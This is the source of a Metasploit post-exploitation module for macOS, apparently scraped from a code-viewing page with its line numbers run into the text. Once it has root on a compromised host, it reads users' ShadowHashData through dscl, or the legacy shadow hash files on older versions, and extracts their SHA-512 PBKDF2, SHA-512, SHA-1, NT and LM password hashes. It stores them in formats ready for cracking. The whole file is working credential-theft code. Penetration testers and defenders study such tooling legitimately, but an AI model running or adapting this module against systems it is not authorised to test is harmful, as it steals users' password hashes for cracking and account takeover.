Path: blob/master/modules/post/osx/gather/hashdump.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8# set of accounts to ignore while pilfering data9# OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]1011include Msf::Post::File12include Msf::Post::OSX::Priv13include Msf::Post::OSX::System14include Msf::Auxiliary::Report1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'OS X Gather Mac OS X Password Hash Collector',21'Description' => %q{22This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports23versions 10.3 to 10.14.24},25'License' => MSF_LICENSE,26'Author' => [27'Carlos Perez <carlos_perez[at]darkoperator.com>',28'hammackj <jacob.hammack[at]hammackj.com>',29'joev'30],31'Platform' => [ 'osx' ],32'SessionTypes' => %w[shell meterpreter],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37}38)39)40register_options([41OptRegexp.new('MATCHUSER', [42false,43'Only attempt to grab hashes for users whose name matches this regex'44])45])46end4748def run49unless is_root?50fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')51end5253# iterate over all users54get_nonsystem_accounts.each do |user_info|55user = user_info['name']56next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)5758print_status "Attempting to grab shadow for user #{user}..."59if gt_lion? # 10.8+60# pull the shadow from dscl61shadow_bytes = grab_shadow_blob(user)62next if shadow_bytes.blank?6364# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist65# Here we pull out the binary plist bytes and use built-in plutil to convert to xml66plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join6768# encode the bytes as \x hex string, print using bash's echo, and pass to plutil69shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")7071# read the plaintext xml72shadow_xml = REXML::Document.new(shadow_plist)7374# parse out the different parts of sha512pbkdf275dict = shadow_xml.elements[1].elements[1].elements[2]76entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')77iterations = dict.elements[4].text.gsub(/\s+/, '')78salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')7980# PBKDF2 stored in <iterations, salt, entropy> format81decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"82report_hash('SHA-512 PBKDF2', decoded_hash, user)83elsif lion? # 10.784# pull the shadow from dscl85shadow_bytes = grab_shadow_blob(user)86next if shadow_bytes.blank?8788# on 10.7 the ShadowHashData is stored in plaintext89hash_decoded = shadow_bytes.downcase9091# Check if NT HASH is present92if hash_decoded =~ /4f1010/93report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)94end9596# slice out the sha512 hash + salt97# original regex left for historical purposes. During testing it was discovered that98# 4f110200 was also a valid end. Instead of looking for the end, since its a hash (known99# length) we can just set the length100# sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]101sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]102report_hash('SHA-512', sha512, user)103else # 10.6 and below104# On 10.6 and below, SHA-1 is used for encryption105guid = if gte_leopard?106cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp107elsif lte_tiger?108cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp109end110111# Extract the hashes112sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp113nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp114lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp115116# Check that we have the hashes and save them117if sha1_hash !~ /0000000000000000000000000/118report_hash('SHA-1', sha1_hash, user)119end120if nt_hash !~ /000000000000000/121report_hash('NT', nt_hash, user)122end123if lm_hash !~ /0000000000000/124report_hash('LM', lm_hash, user)125end126end127end128end129130private131132# @return [Bool] system version is at least 10.5133def gte_leopard?134ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5135end136137# @return [Bool] system version is at least 10.8138def gt_lion?139ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8140end141142# @return [String] hostname143def host144session.session_host145end146147# @return [Bool] system version is 10.7148def lion?149ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7150end151152# @return [Bool] system version is 10.4 or lower153def lte_tiger?154ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4155end156157# parse the dslocal plist in lion158def read_ds_xml_plist(plist_content)159doc = REXML::Document.new(plist_content)160keys = []161doc.elements.each('plist/dict/key') { |n| keys << n.text }162163fields = {}164i = 0165doc.elements.each('plist/dict/array') do |element|166data = []167fields[keys[i]] = data168element.each_element('*') do |thing|169data_set = thing.text170if data_set171data << data_set.gsub("\n\t\t", '')172else173data << data_set174end175end176i += 1177end178return fields179end180181# reports the hash info to metasploit backend182def report_hash(type, hash, user)183return unless hash.present?184185print_good("#{type}:#{user}:#{hash}")186case type187when 'NT'188private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"189private_type = :ntlm_hash190jtr_format = 'ntlm'191when 'LM'192private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"193private_type = :ntlm_hash194jtr_format = 'lm'195when 'SHA-512 PBKDF2'196private_data = hash197private_type = :nonreplayable_hash198jtr_format = 'PBKDF2-HMAC-SHA512'199when 'SHA-512'200private_data = hash201private_type = :nonreplayable_hash202jtr_format = 'xsha512'203when 'SHA-1'204private_data = hash205private_type = :nonreplayable_hash206jtr_format = 'xsha'207end208create_credential(209jtr_format: jtr_format,210workspace_id: myworkspace_id,211origin_type: :session,212session_id: session_db_id,213post_reference_name: refname,214username: user,215private_data: private_data,216private_type: private_type217)218print_status('Credential saved in database.')219end220221# @return [String] containing blob for ShadowHashData in user's plist222# @return [nil] if shadow is invalid223def grab_shadow_blob(user)224shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')225return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'226227# strip the other bytes228shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')229end230231# @return [String] version string (e.g. 10.8.5)232def ver_num233@ver_num ||= get_sysinfo['ProductVersion']234end235end236237238